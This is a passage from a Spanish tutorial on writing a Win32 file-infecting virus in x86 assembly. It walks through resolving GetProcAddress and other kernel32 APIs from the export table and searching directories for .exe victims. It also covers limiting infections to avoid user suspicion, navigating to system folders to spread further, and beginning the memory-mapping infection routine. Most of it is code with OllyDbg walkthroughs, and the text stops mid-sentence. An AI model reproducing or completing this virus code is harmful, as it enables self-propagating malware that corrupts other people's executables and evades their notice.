Antes de continuar veamos una instrucción de ASM: cmpsb. Esta instrucción sirve para comparar cadenas de un byte, donde la primer cadena la tenemos que tener referenciada con el registro esi y la segunda con el registro edi. Por ejemplo si queremos comparar una cadena ‘C’ con otra ‘D’, tenemos que tener lo siguiente:

La vamos a utilizar para comparar byte a byte lo que tenemos en memoria con una variable que definimos con el nombre de la API buscada, de la forma: GetPA db "GetProcAddress" Como solo compara un byte la tenemos que ponerla dentro de otra instrucción: rep (o repe), la cual repite la instrucción que le sigue la cantidad de veces que le indiquemos en el registro ecx. Por eso debemos inicializar a ecx con el largo de la cadena a comparar, en este caso GetProcAddress tiene 14 bytes, o sea que inicializamos a ecx con el valor 0Eh (14 en hexadecimal). Veamos esto en la rutina: mov esi, edx lea edi, [ebp + offset GetPA] mov ecx, 0Eh cld repe cmpsb jnz BuscarGPA Preparamos esi para que apunte a la dirección de memoria que vamos a buscar y edi a la cadena que definimos en nuestro código. En ecx cargamos el valor 0Eh como dijimos anteriormente y realizamos la comparación (repe cmpsb). Luego preguntamos por el resultado de esta comparación, en caso de ser negativa, volvemos a reiniciar el ciclo (jnz BuscarGPA). Una vez que encontramos a GetProcAddress decrementamos el contador (dec [ebp + offset contador]), ya que debemos comenzar por el índice 0, no 1 para poder referenciar los valores de la tabla AddressOfNameOrdinals. De toda la rutina anterior lo único que nos va a importar es justamente este contador, el cual vamos a utilizar como índice para la próxima tabla. Si seguimos esta rutina un poco en Ollydbg, vemos que cuando cargamos en esi la dirección de memoria que vamos a consultar (mov esi, edx), esi queda a puntando a una función exportada por kernel32.dll:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 65

Esto lo podemos ver en la ventana de los registros:

En este caso apunta a la API ‘ActivateActCtx’. Si lo seguimos paso a paso vemos que va pasando por todas las funciones exportadas (‘AddAtomA’, ‘AddAtomW’, ‘AddConsoleAliasA’, etc.). Vemos que las mismas están ordenadas alfabéticamente, lo cual puede servir para optimizar la búsqueda de GetProcAddress. Tengamos paciencia que ya estamos cerca. Lo que haremos ahora es obtener la dirección de la próxima tabla (AddressOfNameOrdinals), que está a 024h a partir del inicio de la tabla de exportaciones: --------------------------------------------------------------------------------------------------- mov ecx, [ebp + offset EData] mov ecx, [ecx + 24h] add ecx, [ebp + offset MZkernel] --------------------------------------------------------------------------------------------------- Al igual que el resto de las direcciones, debemos sumarle la dirección base del kernel32.dll. En ecx nos va a quedar la dirección de inicio de la tabla. Ahora prepararemos el índice para acceder al valor de la tabla, para eso tenemos que multiplicar el contador por dos, esto es por que cada dirección de esta tabla ocupa 2 bytes, o sea que por ejemplo el cuarto valor de esta tabla lo vamos a encontrar en la posición 4 * 2. Veamos el código de esto: --------------------------------------------------------------------------------------------------- mov eax, [ebp + offset contador] add [ebp + offset contador], eax ; multiplicamos por dos add ecx, [ebp + offset contador] ; lo sumamos al inicio de la tabla --------------------------------------------------------------------------------------------------- Bien, veamos la última parte de esta rutina: --------------------------------------------------------------------------------------------------- mov ebx, [ebp + offset EData] mov ebx, [ebx + 1Ch] add ebx, [ebp + offset MZkernel] movzx eax, word ptr [ecx] rol eax, 2 ; multiplico * 4 add ebx, eax ; ‘normalizo’ la RVA

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 66

mov eax, [ebx] add eax, [ebp + offset MZkernel] mov [ebp + offset GetPAddress], eax --------------------------------------------------------------------------------------------------- Lo primero que hacemos es obtener la dirección de la última tabla (AddressOfFunctions) en el registro ebx. Luego muevo el valor del puntero que obtuvimos anteriormente (ecx) a eax y lo multiplico por cuatro. Esto es similar a lo que vimos anteriormente, pero como ahora la tabla es de valores doubleword, debo multiplicar por cuatro. Veamos esto con un pequeño gráfico:

Si el valor buscado es 5, debo multiplicar por 4, y así obtener 20. Veamos las últimas tres líneas: mov eax, [ebx] add eax, [ebp + offset MZkernel] mov [ebp + offset GetPAddress], eax En ebx tenía la dirección obtenida, como es un puntero a otra dirección, lo que hago es obtener el contenido de esa dirección y luego ‘normalizarla’. Para terminar guardo la dirección de esta API en una variable (GetPAddress) para luego poder llamarla. Vemos esto en Ollydbg, ejecutémoslo y pasemos hasta el final de la rutina:

Vemos que el mismo Ollydbg reconoce la dirección de GetProcAddress, y lo resalta en el código. Esto nos indica que el valor obtenido está correcto. Con esto luego vamos a poder hacer una llamada a esta API, de la siguiente forma: call [ebp + offset GetPAddress] Con esto terminamos esta rutina. Ya tenemos la dirección de la API GetProcAddress, a partir de ella vamos a obtener el resto de las funciones que necesitamos, pero eso lo veremos en la próxima entrega. Esto que vimos puede ser complicado, sobre todo para los que no estén muy familiarizados con ASM y el formato de archivos ‘PE’, por lo que les recomiendo leerlo varias veces y probar todo con ayuda del Ollydbg hasta entenderlo y captarlo bien. Si lo

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 67

que hacemos es copiarlo y pegarlo nunca vamos a comprender el funcionamiento real, el cual es el objetivo principal de este tutorial.

Capítulo 8

Obteniendo las API’s necesarias - parte 3 (y final)

Esto de obtener las APIs se está haciendo largo, pero quiero ir despacio para que se entienda todo bien. De todas formas en este capítulo vamos a terminar con este tema, así nos podemos meter de lleno en la infección de archivos. En el capítulo anterior obtuvimos la API mágica: GetProcAddress, ahora la vamos a usar para encontrar el resto de las funciones necesarias. Para nuestro ejemplo vamos a utilizar solamente APIs de la librería Kernel32.dll, de todas formas si quisiéramos utilizar funciones de otra librería lo que tendríamos que hacer es obtener primeramente la API GetModuleHandleA, con la cual obtendremos la dirección de cualquier dll que necesitemos. Un ejemplo de esto sería para la librería user32.dll si queremos crear un payload que muestre un mensaje con MessageBoxA en algún momento determinado. * Nota: un payload es algo así como el efecto extra que se le agrega a un virus, que puede no existir (como en nuestro caso), ser un mensaje que se despliega en ciertas oportunidades, la eliminación de algunos archivos del disco infectado, y un largo etc. Si bien no vamos a incluir nada de esto en nuestro virus, vamos a ver un ejemplo de cómo se haría para que quede bien claro. Primero deberíamos definir dos variables dentro de nuestro código: zGetModuleH db "GetModuleHandleA", 0 zUser32 db "user32.dll", 0 Luego utilizaríamos la API GetProcAddress para encontrar la dirección de la otra función que vamos a necesitar: GetModuleHandleA. Esto se hace con este código: --------------------------------------------------------------------------------------------------- lea esi, [ebp + offset zGetModuleH] push esi push [ebp + offset MZkernel] ; empujo la direccion del kernel32.dll call [ebp + offset GetPAddress] ; llamo a GetProcAddress --------------------------------------------------------------------------------------------------- Esto me va a dejar en el registro eax la dirección de memoria de GetModuleHandleA, la cual utilizaremos para encontrar la dirección base de memoria de la librería user32.dll. Luego hacemos: --------------------------------------------------------------------------------------------------- lea esi, [ebp + offset zUser32]

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 68

push esi call eax --------------------------------------------------------------------------------------------------- Lo que hacemos acá es empujar en la pila el nombre de la librería que estamos buscando (“user32.dll”), que ya teníamos definida en la sección de datos de nuestro virus, luego hacemos un call a eax, recordemos que en eax teníamos la dirección de GetModuleHandleA ( o sea que es como si hiciéramos “call GetModuleHandleA” en un programa normal). Sigamos todo esto con el OllyDbg para ver como funciona. Compilemos nuestro programa y veámoslo en Ollydbg:

Esta primer parte lo que hace es conseguir la dirección de la API GetModuleHandleA, para comprobar esto ejecutemos esta sección de código y veamos el registro eax:

Vemos que el Ollydbg reconoce la dirección que queda allí cargada, que es justamente la API que estábamos buscando. Luego ejecutamos las tres líneas siguientes y vemos nuevamente el registro eax:

Ahora vemos que tenemos la dirección base de la librería que buscábamos, comprobémoslo en memoria, vayamos a ‘Show Memory window’ (M) y buscamos la dirección que nos indica el registro eax (77D10000 en este caso, pero puede variar en otras PC’s):

Listo, ya tenemos la dirección para pasarle a GetProcAddress y obtener la dirección de MessageBoxA por ejemplo. Esto sería así:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 69

Primero definimos un string con el nombre de la función que vamos a buscar: zMessageBox db "MessageBoxA", 0 Luego llamamos a GetProcAddress, pero ahora le pasamos la dirección base de user32.dll en vez de kernel32: --------------------------------------------------------------------------------------------------- lea esi, [ebp + offset zMessageBox] push esi push eax call [ebp + offset GetPAddress] --------------------------------------------------------------------------------------------------- Con este mecanismo podremos obtener todas las APIs que necesitemos. Bien ahora continuemos con nuestro objetivo, que era hacer una rutina para obtener las API’s que vamos a utilizar, recordemos que solo usaremos la librería kernel32.dll. Como en el ejemplo anterior podríamos ir obteniéndolas una a una, pero lo vamos a hacer un poco mas eficiente, para esto vamos a crear dos estructuras, una que contenga los nombres de las APIs que necesitamos y otra que guarde las direcciones de las mismas. Para esto debemos declarar en la sección de datos de nuestro virus lo siguiente: zAPIs db "FindFirstFileA", 0 db "FindNextFileA", 0 db "CreateFileA", 0 db "CreateFileMappingA", 0 db "MapViewOfFile", 0 db "CloseHandle", 0 db "UnmapViewOfFile", 0 db 0 zFindFirst dd 0 zFindNext dd 0 zCreateFile dd 0 zCreateFileM dd 0 zMapViewOfFile dd 0 zCloseHandle dd 0 zUViewOfFile dd 0 En la primer parte lo que hacemos es crear una etiqueta (zAPIs) para luego poder referenciar donde comienzan las cadenas de texto de las funciones que vamos a buscar, como cada una mide 32 bits (dd), la próxima la vamos a encontrar 32 lugares mas allá (04h bytes), por eso no hace falta ponerle una etiqueta delante de cada una. En la segunda estructura colocamos tantas etiquetas como APIs vamos a necesitar, el nombre es arbitrario, y pueden utilizar el que quieran, lo único a tener en cuenta es ordenarlas de la misma forma que las cadenas de texto declaradas anteriormente.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 70

Para seguir con el código ordenado vamos a crear una subrutina que obtenga las API’s que llamamos de la siguiente forma: --------------------------------------------------------------------------------------------------- call obtenerAPIs --------------------------------------------------------------------------------------------------- Ahora desarrollemos este procedimiento, para esto copiemos el siguiente código: --------------------------------------------------------------------------------------------------- obtenerAPIs proc lea esi, [ebp + offset zAPIs] ; inicio de la tabla de nombres de las API's lea edi, [ebp + offset zFindFirst] ; inicio de la tabla de direcciones dec esi obtieneAPI: inc esi push esi push [ebp + offset MZkernel] ; direccion del kernel32.dll call [ebp + offset GetPAddress] ; llamo a GetProcAddress mov [edi], dword ptr eax ; guarda la direccion obtenida add edi, 04h ; direccion de la proxima API buscaSiguiente: inc esi cmp byte ptr [esi], 0h jne buscaSiguiente cmp byte ptr [esi + 1], 0h jne obtieneAPI ret obtenerAPIs endp --------------------------------------------------------------------------------------------------- Veamos esto un poco más en detalle. lea esi, [ebp + offset zAPIs] Acá utilizamos la instrucción lea, esta instrucción lo que hace es cargar la dirección de inicio donde tenemos guardados los nombres de las funciones que vamos a buscar. Luego hacemos: lea edi, [ebp + offset zFindFirst] Para que edi quede apuntando al lugar donde vamos a guardar las direcciones de las API’s que vamos encontrando. Luego empujamos en la pila los argumentos para poder llamar a GetProcAddress:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 71

• la dirección donde está guardado el string con el nombre de la función buscada • la dirección de la librería que la contiene (kernel32.dll)

Y por último llamamos a GetProcAddress, la cual nos devuelve en el registro eax la dirección de memoria de la función buscada, y guardamos esa dirección para poder accederla luego. Recordemos que edi apuntaba a los nombres de las variables que vamos a usar para accederlas (zFindFirst, zFindNext, etc.). Las próximas dos líneas lo que hacen es guardar el valor obtenido en eax en las variables que teníamos declaradas, e incrementamos nuestro puntero (edi) para que quede apuntando a la dirección de memoria de la próxima función: mov [edi], dword ptr eax ; guarda la direccion obtenida add edi, 04h ; direccion de la proxima API Lo que sigue es para buscar el inicio del próximo string que identifica la función buscada, lo que hace es ir incrementando de a un byte y ver si es cero, en cuyo caso indicaría que termina una cadena y comienza la próxima: buscaSiguiente: inc esi cmp byte ptr [esi], 0h jne buscaSiguiente Ahora, ¿cómo sabemos si ya hemos encontrado todas las API’s buscadas y tenemos que salir de nuestra subrutina? Para esto veamos que cuando definimos los string de búsquedas con los nombres de las funciones, al final agregábamos un cero extra:

………….. …………..

db "UnmapViewOfFile", 0 db 0 O sea que simplemente para determinar si ya terminamos debemos ver si tenemos dos ceros seguidos, como ya habíamos detectado un cero, lo que hacemos es buscar el próximo byte (esi + 1) para ver si también es cero: cmp byte ptr [esi + 1], 0h jne obtieneAPI Lo que hace es preguntar si estamos apuntando a un cero, si no es así volvemos para buscar otra función, sino salimos de esta rutina. Si seguimos esto con Ollydbg se nos puede aclarar un poco más. Compilemos nuestro virus y abrámoslo en Ollydbg.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 72

Vemos que tenemos primeramente el cálculo del Delta Offset, y luego las tres subrutinas que hemos declarado. Como la que nos interesa es la tercera, pasamos las primeras con F8 y entramos en la última con F7.

Acá vemos la rutina completa, es muy sencilla, veamos. Ejecutemos hasta el CALL, que es en realidad un call a GetProcAddress. Vemos que antes empujamos en el stack el string “FindFirstFileA” y la dirección del kernel32.dll:

Luego de llamar a GetProcAddress nos queda en eax la dirección de esta API:

Luego guardamos el valor obtenido y buscamos la siguiente función. Así hasta completar todas las que necesitemos. Esto es muy cómodo, por que si necesitamos una función que no habíamos tenido en cuenta desde el principio, solamente la agregamos en la sección de datos y listo, esta rutina se va a encargar de obtener su dirección. A estas API’s obtenidas luego las podemos llamar fácilmente de la siguiente forma: call [ebp + offset zFindFirst] Como siempre digo, estas no es la única forma de hacer esto, ni la mejor, lo que vale es la idea para que se entienda lo que se pretende, y después que cada uno cree sus propios códigos. Como idea para que investiguen les dejo dos instrucciones con las que se podría mejorar esta rutina: lodsd y movsd.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 73

Bien, acá terminamos con la búsqueda de las API’s, se ha hecho largo pero es importante entender todo bien, y probar de cambiar el código, experimentar e ir viendo los resultados en Ollydbg, el cual será un gran aliado a la hora de realizar nuestro espécimen. Debo hacer una aclaración, si queremos darle una compatibilidad mayor a nuestro virus debemos tener en cuenta los nombres de las API’s, por ejemplo la API GetModuleHandleA la encontraremos con ese nombre a partir de Windows 95 en adelante, en Windows 3.1x la tendremos como GetModuleHandle solamente. Incluso puede haber una variación si se trata de una versión Unicode, en cuyo caso la encontraríamos como GetModuleHandleW. Esto también es importante por que en la rutina que vimos anteriormente dabamos por sentado de que encontrábamos todas las funciones buscadas, en ningún momento contemplamos la opción de que cuando llamamos a GetProcAddress no encontrara la API buscada (o sea que devuelva eax = 0), esto sería bueno también agregarlo en un virus si queremos darle mas estabilidad.

Capítulo 9

Buscando archivos para infectar

Bien, acá estamos. Ya pasamos una parte complicada que fue la de encontrar las API’s necesarias, ahora las vamos a empezar a utilizar para encontrar e infectar archivos. Para buscar archivos en un determinado directorio tenemos que utilizar dos API’s: FindFirstFileA y FindNextFileA, la primera busca el primer archivo que coincida con los parámetros que estamos buscando (ya veremos que esto), y la otra busca de ahí en más el resto de los archivos que coincidan con ese patrón de búsqueda. Yo digo, por que no haber hecho una sola función que haga todo, pero bueno, yo no fui quien diseñó el SO, asi que veamos como utilizar estas funciones para lograr nuestro propósito. Veamos primero FindFirstFileA: como dijimos esta función encuentra el primer archivo que coincide con un patrón dado, para esto tenemos que pasarle dos parámetros, ese patrón y un lugar de memoria donde depositar la información del archivo encontrado (en caso de que encontremos algo, nunca nos olvidemos de contemplar también las excepciones sino luego nos darán muchos dolores de cabeza). Crear una máscara de búsqueda es bastante simple, basta con definir lo siguiente dentro de nuestra zona de datos: --------------------------------------------------------------------------------------------------- mascara db "*.exe", 0 --------------------------------------------------------------------------------------------------- En este caso solamente voy a buscar archivos con extensión .exe, pero podríamos contemplar cualquier archivo que tenga el formato PE (incluso archivos .scr, que son Screensaver de Windows).

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 74

El otro parámetro a pasarle es un puntero a memoria donde va a depositar la información del archivo encontrado, esto lo definimos con una estructura para que sea mas fácil manejarlo y quede mas claro. Esto también lo definimos en el área de datos de nuestro virus de la siguiente forma: --------------------------------------------------------------------------------------------------- maxpath equ 260 filetime struct FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? filetime ends w32finddata struct WFD_dwFileAttributes dd ? WFD_ftCreationTime filetime <?> WFD_ftLastAccessTime filetime <?> WFD_ftLastWriteTime filetime <?> WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db maxpath dup (?) WFD_szAlternateFileName db 13 dup (?) w32finddata ends win32_find_data w32finddata <?> --------------------------------------------------------------------------------------------------- Expliquemos un poco esto. Para quien esté acostumbrado a utilizar estructuras de datos, ya sea en ASM, en C, o incluso en lenguajes de más alto nivel como VB esto le parecerá muy común, pero a quien nunca lo haya visto, voy a dar una pequeña explicación. Muchas veces por comodidad y para una mejor estructura del código se emplean lo que se denominan estructuras de datos, que no son mas ni menos que tipos de datos, pero definidos por nosotros, los cuales a su vez utilizan los tipos de datos definidos por el lenguaje que estamos utilizando. Como es esto, para definir una estructura de datos simplemente utilizamos (en ASM) la palabra reservada struct, y le damos un nombre que luego utilizaremos para hacer referencia a la misma, por ejemplo en la primer estructura: filetime struct FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? filetime ends estamos definiendo una estructura llamada filetime, pero podría llamarse de cualquier forma, la cual está compuesta por dos valores del tipo dd, los cuales se llaman a su vez: FT_dwLowDateTime y FT_dwHighDateTime, pero al igual que el nombre anterior, esto es arbitrario y se podría utilizar el nombre que más nos guste.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 75

Luego que tenemos definida una estructura como la anterior, podemos definir una variable que sea de ese tipo, por ejemplo podríamos hacer algo como: mifecha filetime <?> Esto lo hacemos por que no podemos utilizar directamente la estructura que definimos, sino que debemos crear una variable para poder utilizarla, esto es por que lo que definimos con una estructura es un tipo de datos, pero no estamos reservando memoria para guardar nada, para eso debemos definir una variable, o incluso más de una, puedo definir incluso otra variable de esta forma: otrafecha filetime <?> Y estaría correcto. Notemos algo, cuando definíamos una variable por ejemplo del tipo double (dd), hacíamos algo así: valor dd ? Pero ahora no colocamos el signo ?, sino que colocamos <?>, esto es así por que se trata de una estructura. Otra consideración importante es que luego desde nuestro código podemos hacer algo como mifecha.FT_dwHighDateTime para hacer referencia a un valor dentro de la variable creada, lo cual clarifica mucho el código creado. Sé que esto no es una clase de programación, pero me interesa que vayan quedando bien claros todos los conceptos que vamos viendo, no quiero poner cosas y decir que son así y listo, sino que se entienda bien de que se trata. Entonces, sabiendo esto, podemos entender lo que hacemos cuando definimos los valores anteriores, primeramente definimos una estructura llamada filetime, que luego la utilizamos para definir unas variables dentro de otra estructura que creamos, llamada w32finddata, y por último definimos una variable llamada win32_find_data, que es en definitiva la que vamos a utilizar para pasársela a la función FindFirstFileA. Bien, llamar a esta función es muy sencillo, primero empujamos en la pila la dirección de memoria de esta estructura, luego la máscara de búsqueda y por último llamamos a la API, de la siguiente forma: --------------------------------------------------------------------------------------------------- lea edx, [ebp + offset win32_find_data] lea ebx, [ebp + offset mascara] push edx push ebx call [ebp + offset zFindFirst] ; busca el primer archivo .exe --------------------------------------------------------------------------------------------------- En el caso de no encontrar nada, esta función nos devolverá el valor -1 (que corresponde a INVALID_HANDLE_VALUE) en el registro EAX, en cuyo caso deberíamos salir de la rutina de infección.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 76

En caso contrario, nos va a devolver en la zona de memoria establecida el detalle del archivo encontrado (nombre, tamaño, etc.), y en EAX un handle que luego lo vamos a necesitar para encontrar el próximo archivo (FindNextFileA). Además a este handle luego necesitaremos cerrarlo, lo cual lo hacemos con la API FindClose. Es importante respetar ciertas “buenas costumbres” a la hora de realizar nuestro código, aunque es muy probable que nuestro virus funcione igual si no cerramos el handle de búsqueda luego de utilizarlo, conviene no arriesgar. Esto lo veremos también cuando toquemos el tema de los alineamientos del archivo, los cuales es muy recomendable respetar para evitar cuelgues inesperados de nuestro espécimen. A ese handle lo vamos a almacenar en una variable que también definimos en la zona de datos de la siguiente forma: --------------------------------------------------------------------------------------------------- handleBusq dd 0 --------------------------------------------------------------------------------------------------- Continuemos, la próxima función a utilizar es FindNextFileA, esta función requiere dos parámetros, nuevamente la estructura que utilizamos anteriormente y además el handle que acabamos de obtener. Para llamarla haríamos algo así: --------------------------------------------------------------------------------------------------- lea edx, [ebp + offset win32_find_data] mov ebx, [ebp + offset handleBusq] push edx push ebx call [ebp + offset zFindNext] --------------------------------------------------------------------------------------------------- O sea que empujamos en la pila la dirección de la estructura, el handle que obtuvimos con FindFirstFileA, y luego llamamos a la función. Si esta función no encuentra más archivos devuelve el valor 0 (que corresponde a ERROR_NO_MORE_FILES), ojo no confundirse con la API anterior que devolvía -1 en caso de error. En el caso de que EAX sea mayor que cero, no hace falta guardar dicho valor, por que el handle de búsqueda que vamos a utilizar no cambia y seguiremos utilizando siempre el que devolvió FindFirstFileA, el cual estaba almacenado en la variable handleBusq. En este punto tengo que hacer una aclaración, siempre que utilizamos estas funciones de búsqueda queda implícito que la misma se realiza en el directorio desde donde se está ejecutando el virus. Hay varias formas de navegar por el disco objetivo para no limitarnos solamente al directorio de ejecución (lo cual haría poco efectivo nuestro espécimen). Un ejemplo de API’s que podemos utilizar para esto serían GetWindowsDirectory, la cual devuelve el directorio donde se encuentra instalado Windows, por ejemplo devolvería “C:\WINDOWS”, o la función “GetSystemDirectory”, la cual devuelve el directorio del sistema, por ejemplo “C:\WINDOWS\SYSTEM”.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 77

Una vez obtenido el directorio “víctima”, tendríamos que cambiarnos al mismo, esto lo realizamos con la API SetCurrentDirectory, la cual nos deja parado sobre el directorio que le indiquemos y luego ahí realizaríamos la búsqueda. Estas funciones son muy sencillas de utilizar, simplemente viendo la ayuda de las API’s de Win32 nos daremos una idea de cómo implementarlas. Otro truco a la hora de navegar por los directorios de un disco es utilizar “..” como ruta para la función SetCurrentDirectory, si hacemos esto nos subirá un nivel en la estructura de directorios, por ejemplo si estamos parados en “C:\WINDOWS\SYSTEM32” y ejecutamos esto, quedaremos parados en “C:\WINDOWS”, y si lo ejecutamos nuevamente quedaremos en “C:”. Hay varias formas y funciones para realizar todo esto, para el que esté interesado lo invito a buscarlas y practicar. Es bueno probarlas por separado para aprender su funcionamiento y ver que hacen lo que queremos, luego una vez que las tenemos bien depuradas las podemos incluir en nuestros virus. Volviendo al tema de la infección, otra cosa a tener en cuenta es ponerle un límite a la cantidad de archivos a infectar, esto es por que si un usuario esta tratando de abrir un programa y este se demora mucho (por que está tratando de infectar muchos archivos), automáticamente va a sospechar que algo raro está pasando. El límite lo determina cada uno, para nuestro ejemplo pondremos un límite de 3 infecciones por cada ejecución de nuestro virus. Para esto definimos una variable en la zona de datos de la siguiente forma: --------------------------------------------------------------------------------------------------- maxInfecciones equ 3 --------------------------------------------------------------------------------------------------- Esto no es necesario hacerlo de esta forma (declarando una constante), solo lo hago para que el código quede mas claro y sea fácil de entender. Bien, ya tenemos todas las herramientas para trabajar, pero antes de ver el código definitivo vamos a ver un pequeño diagrama de flujo para explicar lo que pretendemos hacer:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 78

INICIO

BUSCAMOS EL

PRIMER

ARCHIVO

SE

ENCONTRÓ?

TERMINAMOS

VOLVEMOS AL

HOST

LO INFECTAMOS

SI

BUSCAMOS EL

PROXIMO

SE

ENCONTRÓ?

LLEGAMOS

AL MÁXIMO?

SI

NO

SI

LO INFECTAMOS

NO

NO

Bien, ahora veamos esto desde el código: --------------------------------------------------------------------------------------------------- mov [ebp + archivosInfec], 1 ; inicia el contador de archivos infectados lea edx, [ebp + offset win32_find_data] lea ebx, [ebp + offset mascara] push edx push ebx call [ebp + offset zFindFirst] ; busca el primer archivo cmp eax, -1 ; error o no encontró nada je volverHost mov dword ptr [ebp + offset handleBusq], eax ; guardamos el handle call infectar

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 79

buscaVictima: lea edx, [ebp + offset win32_find_data] mov ebx, [ebp + offset handleBusq] push edx push ebx call [ebp + offset zFindNext] ; busca el próximo archivo cmp eax, 0 ; error o no encontró nada je volverHost call infectar jmp buscaVictima ; buscamos el próximo archivo volverHost: jmp host ; salto al falso host --------------------------------------------------------------------------------------------------- Creo que esta rutina está bastante fácil de interpretar, ya que lo único que estamos haciendo es juntar todo lo que vimos anteriormente. Una aclaración, utilizaremos una variable para contar la cantidad de archivos efectivamente infectados (archivosInfec), la cual como siempre deberemos declarar en la sección de datos. La comprobación de la misma no la vamos a hacer acá, eso lo haremos dentro de la rutina que denominamos “infectar”, ya que antes de infectar un archivo debemos hacer unas comprobaciones para ver si esta “apto”, en cuyo caso incrementaremos esta variable. Como por ahora no vamos a desarrollar la rutina de infección, por lo menos la tenemos que dejar declarada para que nos de error, esto lo hacemos de la siguiente forma: --------------------------------------------------------------------------------------------------- infectar proc ret infectar endp --------------------------------------------------------------------------------------------------- Bueno, ahora juguemos un poco con esto para terminar de comprender su funcionamiento. Para esto yo me creé un directorio de pruebas, en donde coloco el ejecutable del virus y varios archivos “víctimas”, los cuales son simplemente un pequeño ejecutable que muestra un mensaje por pantalla (el código del primer programa que vimos en este curso), el cual lo copio con varios nombres distintos para poder tener varias víctimas. En este caso en particular yo tengo en el directorio de pruebas los siguientes archivos: virus.exe, asm1.exe, asm2.exe, asm3.exe y asm4.exe Ahora ejecutemos el virus con el OllyDBG y sigamos su funcionamiento.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 80

Lo primero que tenemos es el cálculo del delta offset, y luego 3 CALL (obtenerK32, obtenerGPA y obtenerAPIs). En realidad lo que nos interesa ahora comienza desde la dirección 40101B, que es donde inicializamos el contador de infecciones. Lo que tenemos luego son los parámetros de la función FindFirstFileA , los cuales empujamos a la pila para luego llamar a la API en la dirección 401033 (ojo que estas direcciones pueden cambiar en distintas PC). Ejecutemos con F8 hasta esta línea, y antes de pasarla veamos el código:

Vemos que el OllyDBG reconoce la dirección del call y nos aclara que es una llamada a FindFirstFileA, ahora veamos la pila, donde tenemos los parámetros que le pasamos:

En especial nos interesa el segundo parámetro, o sea la dirección donde se almacenará la información del archivo encontrado, en este caso es 401264. Presionemos sobre esta dirección el botón derecho del Mouse y elijamos la opción “Follow in Dump”:

Por ahora vemos que está vacía:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 81

Ahora ejecutemos la API con F8 y veamos nuevamente la memoria:

Acá tenemos todos los datos del archivo encontrado: fecha, tamaño, nombre, etc. de acuerdo a la estructura que vimos anteriormente, por ejemplo podemos identificar rápidamente el nombre del archivo encontrado (asm1.exe):

Y en EAX nos queda el handle devuelto por esta función, en mi caso es 1429D8:

Si seguimos este programa línea a línea, veremos que va encontrando todos los archivos .exe del directorio donde estamos parados. Lo que vimos en este capítulo es bastante sencillo, sobre todo si lo comparamos con lo que veníamos viendo en capítulos anteriores, pero las variantes de esto son ilimitadas, los invito a buscar nuevas alternativas y experimentar mucho con el código.

Capítulo 10

Comenzando con la rutina de infección - parte 1

Bien, en este capítulo vamos a comenzar con la rutina de infección. Lo que hemos hecho hasta ahora es encontrar una posible víctima, ahora para poder acceder a su contenido vamos a utilizar una técnica que simplifica mucho nuestro

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 82

trabajo, y se llama mapeo en memoria. En pocas palabras significa que subiremos el archivo a memoria, lo modificaremos y luego volveremos a guardarlo en el disco. Esto se podría hacer directamente en el disco sin subir el archivo a memoria, pero por las complicaciones que esto trae no lo recomiendo. Windows nos facilita mucho nuestro trabajo ya que trae unas APIs que facilitan el mapeo de archivos:

• CreateFileA: abre el archivo • CreateFileMappingA: crea un objeto de mapeo en memoria • MapViewOfFile: sube el archivo a memoria y permite el acceso al mismo

Hay que tener en cuenta que cuando mapeamos el archivo vamos a tener una copia exacta del mismo en memoria, y luego cuando cerremos este mapeo (con las funciones UnmapViewOfFile y CloseHandle), esta información se volcará nuevamente al disco. Antes de comenzar el mapeo del archivo, vamos a guardar unos valores que vamos a necesitar mas adelante, que son el tamaño del virus y el tamaño total (huésped + virus). Para esto creamos dos etiquetas en nuestra sección de datos: --------------------------------------------------------------------------------------------------- longVirus equ finvir - iniciovir ; tamaño del virus longVirusHost dd 0 ; tamaño del virus mas el host --------------------------------------------------------------------------------------------------- La primera tiene una característica especial, y se trata de una constante (definida con la palabra reservada equ) y cuyo valor resulta de la resta de dos valores: finvir – iniciovir. Si vemos el código que tenemos hasta ahora encontraremos estas dos etiquetas, una al inicio y otra al final, antes del falso host. Al compilar este programa, dichas etiquetas se traducen en direcciones de memoria, entonces al restarlas vamos a obtener el tamaño del virus. También lo podríamos haber calculado a mano y guardarlo en una variable, pero si luego modificamos algún byte del virus tendríamos que acordarnos de ajustar dicho valor. La otra etiqueta es la declaración normal de una variable, en este caso para guardar el tamaño total que tendrá nuestro huésped luego de que lo infectemos (virus + host). Bien, ahora posicionémonos dentro de la rutina de infección y calculemos el tamaño del host + virus: --------------------------------------------------------------------------------------------------- mov edi, longVirus ; edi = longitud del virus add edi, [ebp + offset win32_find_data.WFD_nFileSizeLow] mov [ebp + offset longVirusHost], edi ; guardamos el tamaño total (virus + host) --------------------------------------------------------------------------------------------------- Esto es bastante simple, solo aclaremos que dentro de WFD_nFileSizeLow vamos a tener el tamaño del EXE encontrado, el cual se lo sumamos al tamaño de nuestro virus y luego lo guardamos en una variable que utilizaremos mas adelante. Ahora si, comencemos con el mapeo del archivo. Como dijimos, lo primero que tenemos que hacer es llamar a la función CreateFileA pasándole el nombre del archivo que queremos abrir, de la siguiente forma:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 83

